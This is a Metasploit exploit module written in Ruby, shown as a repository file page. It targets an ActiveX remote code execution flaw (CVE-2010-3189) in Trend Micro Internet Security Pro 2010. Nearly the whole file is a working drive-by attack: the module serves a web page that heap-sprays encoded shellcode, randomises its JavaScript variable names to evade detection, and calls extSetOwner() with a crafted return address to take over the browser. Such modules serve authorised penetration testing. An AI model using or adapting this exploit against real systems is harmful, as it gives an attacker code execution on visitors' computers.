Michael Schierl
910644400d
All other types of references use String arguments, but approximately half of the EDB references use Fixnums. Fix this by using Strings here too.
148 lines
4.7 KiB
Ruby
148 lines
4.7 KiB
Ruby
##
|
|
# $Id$
|
|
##
|
|
|
|
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
##
|
|
# trendmicro_extsetowner.rb
|
|
#
|
|
# Trend Micro Internet Security Pro 2010 ActiveX extSetOwner() Remote Code Execution exploit for the Metasploit Framework
|
|
#
|
|
# Exploit successfully tested on the following platforms:
|
|
# - Trend Micro Internet Security Pro 2010 on Internet Explorer 7, Windows XP SP3
|
|
# - Trend Micro Internet Security Pro 2010 on Internet Explorer 7, Windows Vista SP2
|
|
#
|
|
# UfPBCtrl.dll version tested:
|
|
# File Version: 17.50.0.1366
|
|
# ClassID: 15DBC3F9-9F0A-472E-8061-043D9CEC52F0
|
|
# RegKey Safe for Script: True
|
|
# RegKey Safe for Init: True
|
|
# KillBitSet: False
|
|
#
|
|
# References:
|
|
# - CVE-2010-3189
|
|
# - OSVDB 67561
|
|
# - http://www.zerodayinitiative.com/advisories/ZDI-10-165/ - Original advisory by Andrea Micalizzi aka rgod via Zero Day Initiative
|
|
# - http://www.exploit-db.com/exploits/14878/ - MOAUB #03 exploit
|
|
# - http://www.exploit-db.com/trend-micro-internet-security-pro-2010-activex-extsetowner-remote-code-execution/ - MOAUB #03 binary analysis
|
|
# - http://www.rec-sec.com/2010/09/28/trend-micro-internet-security-2010-rce-exploit/ - Metasploit exploit by Trancer, Recognize-Security
|
|
#
|
|
# Trancer
|
|
# http://www.rec-sec.com
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Trend Micro Internet Security Pro 2010 ActiveX extSetOwner() Remote Code Execution',
|
|
'Description' => %q{
|
|
This module exploits a remote code execution vulnerability in Trend Micro
|
|
Internet Security Pro 2010 ActiveX.
|
|
When sending an invalid pointer to the extSetOwner() function of UfPBCtrl.dll
|
|
an attacker may be able to execute arbitrary code.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [ 'Trancer <mtrancer[at]gmail.com>' ],
|
|
'Version' => '$Revision$',
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2010-3189' ],
|
|
[ 'OSVDB', '67561'],
|
|
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-165/' ], # Andrea Micalizzi aka rgod via Zero Day Initiative
|
|
[ 'EDB', '14878' ], # MOAUB #03
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'process',
|
|
},
|
|
'Payload' =>
|
|
{
|
|
'Space' => 1024,
|
|
'BadChars' => "\x00",
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[ 'Windows XP SP0-SP2 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x00C750A1 } ] #??
|
|
],
|
|
'DisclosureDate' => 'Aug 25 2010',
|
|
'DefaultTarget' => 0))
|
|
end
|
|
|
|
def autofilter
|
|
false
|
|
end
|
|
|
|
def check_dependencies
|
|
use_zlib
|
|
end
|
|
|
|
def on_request_uri(cli, request)
|
|
# Re-generate the payload.
|
|
return if ((p = regenerate_payload(cli)) == nil)
|
|
|
|
# Encode the shellcode.
|
|
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
|
|
|
|
# Setup exploit buffers
|
|
nops = Rex::Text.to_unescape(make_nops(4))
|
|
ret = Rex::Text.to_unescape([target.ret].pack('V'))
|
|
blocksize = 0x40000
|
|
fillto = 500
|
|
|
|
# ActiveX parameters
|
|
clsid = "15DBC3F9-9F0A-472E-8061-043D9CEC52F0"
|
|
|
|
# Randomize the javascript variable names
|
|
ufpbctrl = rand_text_alpha(rand(100) + 1)
|
|
j_shellcode = rand_text_alpha(rand(100) + 1)
|
|
j_nops = rand_text_alpha(rand(100) + 1)
|
|
j_ret = rand_text_alpha(rand(100) + 1)
|
|
j_headersize = rand_text_alpha(rand(100) + 1)
|
|
j_slackspace = rand_text_alpha(rand(100) + 1)
|
|
j_fillblock = rand_text_alpha(rand(100) + 1)
|
|
j_block = rand_text_alpha(rand(100) + 1)
|
|
j_memory = rand_text_alpha(rand(100) + 1)
|
|
j_counter = rand_text_alpha(rand(30) + 2)
|
|
|
|
html = %Q|<html>
|
|
<object classid='clsid:#{clsid}' id='#{ufpbctrl}'></object>
|
|
<script>
|
|
var #{j_shellcode} = unescape('#{shellcode}');
|
|
var #{j_nops} = unescape('#{nops}');
|
|
var #{j_headersize} = 20;
|
|
var #{j_slackspace} = #{j_headersize} + #{j_shellcode}.length;
|
|
while (#{j_nops}.length < #{j_slackspace}) #{j_nops} += #{j_nops};
|
|
var #{j_fillblock} = #{j_nops}.substring(0,#{j_slackspace});
|
|
var #{j_block} = #{j_nops}.substring(0,#{j_nops}.length - #{j_slackspace});
|
|
while (#{j_block}.length + #{j_slackspace} < #{blocksize}) #{j_block} = #{j_block} + #{j_block} + #{j_fillblock};
|
|
var #{j_memory} = new Array();
|
|
for (#{j_counter} = 0; #{j_counter} < #{fillto}; #{j_counter}++) {
|
|
#{j_memory}[#{j_counter}] = #{j_block} + #{j_shellcode};
|
|
}
|
|
#{ufpbctrl}.extSetOwner(unescape('#{ret}'));
|
|
</script>
|
|
</html>|
|
|
|
|
print_status("Sending #{self.name}")
|
|
|
|
# Transmit the response to the client
|
|
send_response(cli, html, { 'Content-Type' => 'text/html' })
|
|
|
|
# Handle the payload
|
|
handler(cli)
|
|
end
|
|
end
|